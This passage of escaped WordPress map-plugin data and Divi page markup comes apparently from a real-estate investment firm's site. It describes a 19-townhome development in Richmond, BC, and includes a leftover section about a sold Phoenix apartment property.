class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_0 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_0 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_0 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11522\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_1 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg 1305w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-1280x823.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-980x630.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-480x309.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1305px, 100vw\" class=\"wp-image-11523\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11524\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_3 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11525\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_4 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-1280x830.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-980x635.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11526\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_1 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_1 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Kadium No4 Road TownHomes<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Richmond, British Columbia<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_2 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Ground-up Development<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_11  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_13  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>n19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_14 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_15 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$5,600,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_2 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_4\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_10  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_16  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = 